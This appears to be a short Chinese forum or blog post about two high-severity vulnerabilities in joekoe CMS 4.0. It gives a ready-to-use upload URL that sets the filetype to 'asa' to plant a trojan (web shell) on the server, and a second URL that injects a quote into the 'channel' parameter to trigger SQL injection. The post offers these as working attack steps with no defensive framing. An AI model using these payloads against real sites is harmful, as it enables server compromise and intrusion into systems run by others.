乔客(joekoe) CMS 4.0 的2个高危漏洞

  1 .上传漏洞:很好利用,把channel变量改一下,只要不等于forum、user.face、blog.logo就行,然后filetype改成asa,就可以光明正大的上传木马了,具体url可以这样common/upload.asp?channel=use2&filetype=asa&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=然后上传[PS:要登陆验证]

2. SQL注入漏洞:在Channel变量中加入诸如语句,比如:common/upload.asp?channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=

然后上传,就会报错

你可能感兴趣的:(乔客(joekoe) CMS 4.0 的2个高危漏洞)